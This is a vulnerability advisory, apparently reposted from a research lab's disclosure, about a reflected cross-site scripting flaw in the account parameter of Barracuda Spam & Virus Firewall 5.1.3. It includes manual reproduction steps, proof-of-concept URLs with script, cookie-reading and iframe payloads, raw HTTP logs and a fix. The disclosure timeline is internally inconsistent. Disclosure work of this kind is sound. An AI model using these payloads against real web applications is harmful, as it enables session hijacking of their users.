Barracuda Networks Spam / Virus Firewall 5.1.3 XSS
CVE
Category
Price
Severity
CWE-79
N/A
High
Author
Risk
Exploitation Type
Date
Unknown
High
Remote
2014-07-29
CPE
cpe:cpe:/a:barracuda:spam_virus_firewall:5.1.3
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality Low C There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations. Integrity Low I Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system. Availability None A There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2014070161 Below is a copy:Document Title:
===============
Barracuda Networks Spam&Virus Firewall v5.1.3 - Client Side Cross Site Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1118
Barracuda Networks Security ID (BNSEC): BNSEC-1052
https://www.barracuda.com/support/knowledgebase/501600000013lYI
Solution #00006606
BNSEC-01052: Non-persistent XSS in Barracuda Spam and Virus Firewall v5.1.3
Release Date:
=============
2014-07-25
Vulnerability Laboratory ID (VL-ID):
====================================
1118
Common Vulnerability Scoring System:
====================================
2.9
Product & Service Introduction:
===============================
For efficient, effective corporate communication and collaboration, todays organizations need more than just
security against spam and malware. They need a comprehensive email governance solution that combines granular
policy management, real-time visibility into email activity, and the ability to handle massive volume and
huge files. Barracuda Spam & Virus Firewall is todays solution for comprehensive email governance.
(Copy of the Vendor Product Homepage: https://www.barracuda.com/products/spamandvirusfirewall/ )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a client-side cross site vulnerability in the Barracuda Spam and Virus Firewall v5.1.3 (200,400 or 600) & Vx web-application.
Vulnerability Disclosure Timeline:
==================================
2013-11-19:Researcher Notification & Coordination (Ateeq Khan)
2013-11-19:Vendor Notification (Barracuda Networks Security Incident Team - Bug Bounty Program)
2014-12-20:Vendor Response/Feedback (Barracuda Networks Security Incident Team - Bug Bounty Program)
2014-07-15:Vendor Fix/Patch (Barracuda Networks Developer Team)
2014-07-25:Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Barracuda Networks
Product: Spam & Virus Firewall 6.0.0.028 - 100 200 300 400 500 600 700 800 900 1000
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A client-side cross site scripting web vulnerability is detected in the official Barracuda Spam & Antivirus Firewall Web-Application.
The vulnerability allows remote attackers to manipulate via POST method web-application to browser requests (client-side).
The vulnerability is located in the `Per User Account View` module of the security appliance web-application. The vulnerable file is
index.cgi and the affected value is `account`. Remote attackers can inject own malicious script codes on client-side. The attack
vector of the issue is non-persistent and the request method to execute the malicious code is GET. Remote attackers can for example
send manipualted links to priviledged application users to hijack session information (client-side) or execute non persistent codes.
The security risk of the non-persistent input validation web vulnerability is estimated as low with a cvss (common vulnerability
scoring system) count of 2.9. The non persistent cross site vulnerability can be exploited by remote attackers without privileged
application user account and with low or medium user interaction. Successful exploitation of the client-side cross site scripting
web vulnerability results in session hijacking, client-side phishing, client-side unauthorized external redirects and client-side
manipulation of the connected or affected module context.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] Users > Per User Account View
Vulnerable File(s):
[+] index.cgi
Vulnerable Parameter(s):
[+] account=
Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerability can be exploited by remote attackers without privileged web-application user account and with
low user interaction click. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the security vulnerability ...
1. Login to the spam and antivirus firewall as normal guest user
2. Once logged in, click on the Basic Tab once
3. Now copy paste the following payload in the URL carefully after the password field replacing all other variables with our string
&primary_tab=USERS&new_secondary_tab=per_user_account_view
&[email protected] "><script>alert(1)</script>e352896d01c&auth_type=Local&locale=en_US
&secondary_tab=per_user_change_password&page_submitted=true&content_only=1&domain=&user=guest&role=&ispopup=1
&parent_name=pu_pref637248&popup_width=720&popup_height=500
4. You should now be able to see a javascript popup revealing the session cookies hence proving the existence of this vulnerability!
PoC: Frame Inject
https://spam.ptest.cudasvc.com/cgi-mod/index.cgi?auth_type=Local&et=1382217804&locale=en_US
&password=03f27a30cecedbbda727698954077eec&primary_tab=USERS&new_secondary_tab=per_user_account_view
&[email protected] %3E%3Ciframe%20src=http://www.vulnerability-lab.com%3Ee352896d01c
&auth_type=Local&locale=en_US&secondary_tab=per_user_change_password&page_submitted=true&content_only=1
&domain=&user=guest&role=&ispopup=1&parent_name=pu_pref637248&popup_width=720&popup_height=500
PoC: Cookie Steal
https://spam.ptest.cudasvc.com/cgi-mod/index.cgi?auth_type=Local&et=1382217804&locale=en_US
&password=03f27a30cecedbbda727698954077eec&primary_tab=USERS&new_secondary_tab=per_user_account_view
&[email protected] %3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3Ee352896d01c
&auth_type=Local&locale=en_US&secondary_tab=per_user_change_password&page_submitted=true&content_only=1
&domain=&user=guest&role=&ispopup=1&parent_name=pu_pref637248&popup_width=720&popup_height=500
Review: Change Password - Mail Session Title
<tbody><tr><td colspan="1" style="padding:0 0 5px 0;" valign="top" width="100%">
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody><tr><td class="TitleLeft"></td><td class="TitleTop">
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody><tr><td><a name="Change Password:[email protected] >
<iframe src=http://www.vulnerability-lab.com>e352896d01c">
Change Password:[email protected] ><iframe src="http://www.vulnerability-lab.com">e352896d01c</td>
--- PoC Session Request Logs ---
Request:
--------
GET /cgi-mod/index.cgi?auth_type=Local&et=1382217804&locale=en_US&password=03f27a30cecedbbda727698954077eec&primary_tab=USERS&new_secondary_tab=per_user_account_view&[email protected] %3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee352896d01c&auth_type=Local&locale=en_US&secondary_tab=per_user_change_password&page_submitted=true&content_only=1&domain=&user=guest&role=&ispopup=1&parent_name=pu_pref637248&popup_width=720&popup_height=500 HTTP/1.1
Host: spam.ptest.cudasvc.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: ys-preview_west=o%3Acollapsed%3Db%253A1; ys-preview_south=o%3Acollapsed%3Db%253A1; ys-preview_east=o%3Acollapsed%3Db%253A0
Connection: keep-alive
Response:
---------
HTTP/1.1 200 OK
Server: BarracudaHTTP 4.0
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Set-Cookie: ys-preview_west=o%3Acollapsed%3Db%253A1; path=/
Set-Cookie: ys-preview_south=o%3Acollapsed%3Db%253A1; path=/
Set-Cookie: ys-preview_east=o%3Acollapsed%3Db%253A0; path=/
Expires: Thu, 18 Oct 2012 23:48:26 GMT
Date: Fri, 18 Oct 2013 23:48:26 GMT
Content-Length: 8325
<html dir="ltr" xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
...[Trimmed]...
<a name="Change Password:[email protected] "><script>alert(document.cookie)</script>e352896d01c"/>
...[Trimmed]...
Reference(s):
https://spam.ptest.cudasvc.com/cgi-mod/index.cgi
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse of the account and session id echo when processing to reset passwords via the email address.
Parse the parameter value input of the account and encode the output in the session values.
Barracuda Networks: Appliances > Advanced > Firmware Updates (automatic) page or use the regular customer panel
https://www.barracuda.com/support/knowledgebase/501600000013lYI
Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerability is estimated as medium.
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Ateeq ur Rehman Khan ([email protected] ) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
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